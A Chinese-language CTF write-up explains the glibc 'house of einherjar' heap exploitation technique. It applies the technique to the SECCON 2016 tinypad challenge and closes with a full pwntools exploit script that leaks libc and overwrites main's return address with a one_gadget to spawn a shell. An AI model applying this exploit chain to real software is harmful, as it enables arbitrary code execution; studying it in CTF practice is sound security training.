house of einherjar

利用原理

free 函数后向(向低地址)合并操作

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

顺便看看 unlink 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define unlink(AV, P, BK, FD) {                                            \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

利用条件

  • 利用堆溢出或者off-by-null漏洞能修改高地址的 chunk 的 prev_inuse 字段。(栈溢出/off-by-one)
  • 后向(向低地址)合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))
  • fake_chunkfdbkfake_chunk 的地址,以绕过 unlink检测。
  • 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
  • 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

2016 Seccon tinypad

程序存在 off-by-null 漏洞。

exp详解

leak 地址部分就不详细分析了,从 house of einherjar 分配堆块开始分析。

1.堆块分配

chunk1 用于修改 chunk2 的 prev_size 段以及 prev_inuse 。

chunk3、chunk4 主要用于填充程序自定义的缓冲区域。

1
2
3
4
add(0x18,'a'*0x18)	#1
add(0x100,'b'*0xf8 + '\x11') #2
add(0x100,'c'*0xf8) #3
add(0x100,'d'*0xf8) #4

利用分为两个部分,第一是在 target_addr 处(选择在 tinypad+0x20 处)构造 fake_chunk 。第二是写 chunk2 的 prev_size 段以及 prev_inuse 。

2.构造 fake_chunk

1
2
3
4
payload = 'a'*0x20
payload += p64(0) + p64(0x101)
payload += p64(fd) + p64(bk)
edit(3,payload)

3.写 chunk2 字段

在此之前我们需要计算出 chunk2 到 tinypad+0x20 处的距离

1
2
3
4
5
tinypad = 0x602040
fake_chunk_addr = tinypad + 0x20
fd = fake_chunk_addr
bk = fake_chunk_addr
offset = chunk2 - fake_chunk_addr

通过程序strcpy写入构造的 chunk2 字段,再 free(2)。

1
2
3
4
5
6
payload = 'a'*0x14 + p64(offset)
edit(1,payload)
for i in range(4):
payload = 'a'*(0x13-i) + p64(offset)
edit(1,payload)
free(2)

image-20211130105542360

下一个申请的 0xf0 大小的堆块就在 0x602060 处。

image-20211130105718209

4.修复 fake_chunk

在申请堆块之前我们需要修复一下 fake_chunk 的 size 、fd 和 bk,

fd 和 bk 必须是 unsorted bin

1
2
3
4
payload = 'b'*0x20 
payload += p64(0) + p64(0x101)
payload += p64(malloc_hook+0x10+88)*2
edit(4,payload)

后写 payload 修改 tinypad_array 的指针

1
2
payload = 'f' * (0x100 - 0x20 - 0x10) + p64(0x18) + p64(environ) + p64(0xf0) + p64(0x602148)
add(0xf8,payload)

5.修改 main 函数的返回地址为 one_gadget 地址获取 shell

首先是在栈上找到 0x7f9afca72840 (__libc_start_main+240),后计算出偏移

image-20211130120204305

image-20211130120604059

image-20211130120609788

1
2
3
offset = environ_addr - (__libc_start_main+240)

main_ret = environ_addr - offset

chunk2 -> chunk1 ,利用 chunk2 修改 chunk1 指向 main_ret ,chunk1 修改 main_ret 为one_gadget

1
edit(2,p64(main_ret))

image-20211130121532715

1
edit(1,p64(one_gadget))

image-20211130121818300

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'tinypad'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',20002)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc

def cmd(index):
p.sendlineafter('(CMD)>>> ',str(index))

def add(size,content):
cmd('A')
p.sendlineafter('(SIZE)>>> ',str(size))
p.sendlineafter('(CONTENT)>>> ',content)

def edit(index,content):
cmd('E')
p.sendlineafter('(INDEX)>>> ',str(index))
p.sendlineafter('(CONTENT)>>> ',content)
p.sendlineafter('(Y/n)>>> ','Y')

def free(index):
cmd('D')
p.sendlineafter('(INDEX)>>> ',str(index))

# BEGIN leak
add(0x70,'a')
add(0x70,'b')
add(0x100,'c')

free(2)
free(1)
p.recvuntil(' # CONTENT: ')
chunk1 = u64(p.recv(4).ljust(8,'\x00')) - 0x80
chunk2 = chunk1 + 0x20
log.success('chunk1: ' + hex(chunk1))

free(3)
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x10 - 88
log.success('malloc_hook: ' + hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
environ = libc_base + libc.sym['__environ']
log.success('libc_base: ' + hex(libc_base))
log.success('system_addr: ' + hex(system_addr))
log.success('free_hook: ' + hex(free_hook))
log.success('environ: ' + hex(environ))
# END leak

add(0x18,'a'*0x18)
add(0x100,'b'*0xf8 + '\x11')
add(0x100,'c'*0xf8)
add(0x100,'d'*0xf8)

tinypad = 0x602040
fake_chunk_addr = tinypad + 0x20
fd = fake_chunk_addr
bk = fake_chunk_addr
offset = chunk2 - fake_chunk_addr

payload = 'a'*0x20
payload += p64(0) + p64(0x101)
payload += p64(fd) + p64(bk)
edit(3,payload)

payload = 'a'*0x14 + p64(offset)
edit(1,payload)
for i in range(4):
payload = 'a'*(0x13-i) + p64(offset)
edit(1,payload)

free(2)

payload = 'b'*0x20
payload += p64(0) + p64(0x101)
payload += p64(malloc_hook+0x10+88)*2
edit(4,payload)

payload = 'f' * (0x100 - 0x20 - 0x10) + p64(0x18) + p64(environ) + p64(0xf0) + p64(0x602148)
add(0xf8,payload)

p.recvuntil('# CONTENT: ')
environ_addr = u64(p.recv(6).ljust(8,'\x00'))
main_ret = environ_addr - 0xf0
one_gadget = libc_base + 0x45226
log.success('environ_addr: ' + hex(environ_addr))
log.success('main_ret: ' + hex(main_ret))

edit(2,p64(main_ret))
edit(1,p64(one_gadget))

gdb.attach(p)

p.interactive()